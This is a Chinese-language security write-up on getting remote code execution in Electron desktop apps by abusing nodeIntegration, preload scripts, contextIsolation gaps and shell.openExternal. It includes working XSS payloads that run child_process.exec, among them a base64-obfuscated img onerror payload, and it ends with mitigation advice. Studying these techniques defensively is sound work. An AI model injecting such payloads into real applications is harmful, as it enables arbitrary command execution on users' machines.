“A9 Team 甲方攻防团队,成员来自某证券、微步、青藤、长亭、安全狗等公司。成员能力涉及安全运营、威胁情报、攻防对抗、渗透测试、数据安全、安全产品开发等领域,持续分享安全运营和攻防的思考和实践。”
01
—
背景
国内:
国外:
Electron的进程架构
渲染进程的上下文可以分为两种:preload.js和网页上下文。preload.js的上下文访问权限通常高于网页上下文。
1、利用渲染进程本身进行RCE:
2、通过IPC影响主进程进行RCE:
Electron核心选项
1、Sandbox
2、NodeIntegration
3、Context Isolation
渲染器的核心选项在main.js 文件内的主进程中配置。如果配置,某些配置将阻止 Electron 应用程序获得 RCE或其他漏洞。
preload- 默认为空。
Node Integration in Workers
配置示例:
const mainWindowOptions = {
title: 'Discord',
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true
}
};
Electron RCE 的具体实现
RCE: 通过 XSS + nodeIntegration
<script>
require('child_process').exec('calc');
// 或者
top.require('child_process').exec('open /System/Applications/Calculator.app');
</script>
https://blog.doyensec.com/2017/08/03/electron-framework-security.html
RCE: 通过 preload
这个设置中指示的脚本在渲染器中的其他脚本之前加载,因此它可以无限制地访问 Node API :
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
因此,该脚本可以将节点特征导出到页面:
typeof require === 'function';
window.runCalc = function(){
require('child_process').exec('calc')
};
<body>
<script>
typeof require === 'undefined';
runCalc();
</script>
</body>
注:如果contextIsolation为true,这将不起作用。
RCE: 通过 XSS + contextIsolation
Electron contextIsolation : 通过preload代码进行RCE
Electron contextIsolation : 通过 Electron 内部代码进行 RCE
Electron contextIsolation: 通过IPC隔离RCE
RCE: 通过 XSS + Chromium Nday
https://blog.electrovolt.io/posts/discord-rce/
RCE: 通过 shell.openExternal
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
window.open("smb://domain.com")
https://benjamin-altpeter.de/shell-openexternal-dangers
require('child_process').exec('将要执行的系统命令',(error, stdout, stderr)=>{ alert(`stdout: ${stdout}`); });
<img src=x onerror='eval(new Buffer(`base64payload`,`base64`).toString())'>
<img src=x onerror='eval(new Buffer(`CnJlcXVpcmUoJ2NoaWxkX3Byb2Nlc3MnKS5leGVjKCdpcGNvbmZpZycsKGVycm9yLCBzdGRvdXQsIHN0ZGVycik9PnsgICAgYWxlcnQoYHN0ZG91dDogJHtzdGRvdXR9YCk7IH0pOwogCg==`,`base64`).toString())'>
/**
通过xss漏洞,触发onerror事件,使JavaScript代码中的eval()函数执行由Buffer()内的编码内容,并尝试执行child_process.exec来执行系统命令。由于eval()函数的执行,恶意代码可以绕过Electron渲染进程的沙箱限制,最终执行系统命令。
**/
1、XSS漏洞:应用程序中存在XSS漏洞,由于开发人员对恶意代码的过滤不严,导致可以注入恶意脚本代码到应用程序的用户界面。
2、代码注入:通过XSS漏洞,可以将恶意代码注入到应用程序的渲染进程中。这些恶意代码可以执行任意的客户端脚本。
3、沙盒逃逸:在Electron中,默认情况下,每个渲染进程都运行在沙盒环境中,具有有限的权限,无法直接执行操作系统命令。此时我们能够通过注入恶意代码,成功进行沙盒逃逸,即从渲染进程中脱离出来,获取更高的权限。
4、远程命令执行:一旦攻击者成功进行沙盒逃逸,我们可以利用所获得的权限执行外部命令,包括执行操作系统级别的命令。就可以在受影响的系统上执行任意的命令,导致远程命令执行(RCE)漏洞。
安全建议:
对于electron框架开发的客户端应用,可以进行以下一些措施来做到有效的预防:
•对用户输入进行严格的验证和过滤,确保不会插入恶意脚本进入应用程序的渲染进程。
•在渲染进程和主进程之间建立良好的沙盒隔离,限制渲染进程的权限,并实施最小特权原则。
•对于需要执行外部命令的操作,使用严格的输入验证和参数验证,以防止命令注入攻击。
•定期更新和升级Electron框架,以获取最新的安全修复和补丁。
本人才疏学浅,如有错误之处,恳请各位大佬多多指正!
参考
https://mp.weixin.qq.com/s/E9cBVrIikwDm1X586xl-vw
https://www.electronjs.org/
https://blog.doyensec.com/2017/08/03/electron-framework-security.html
https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps
https://benjamin-altpeter.de/shell-openexternal-dangers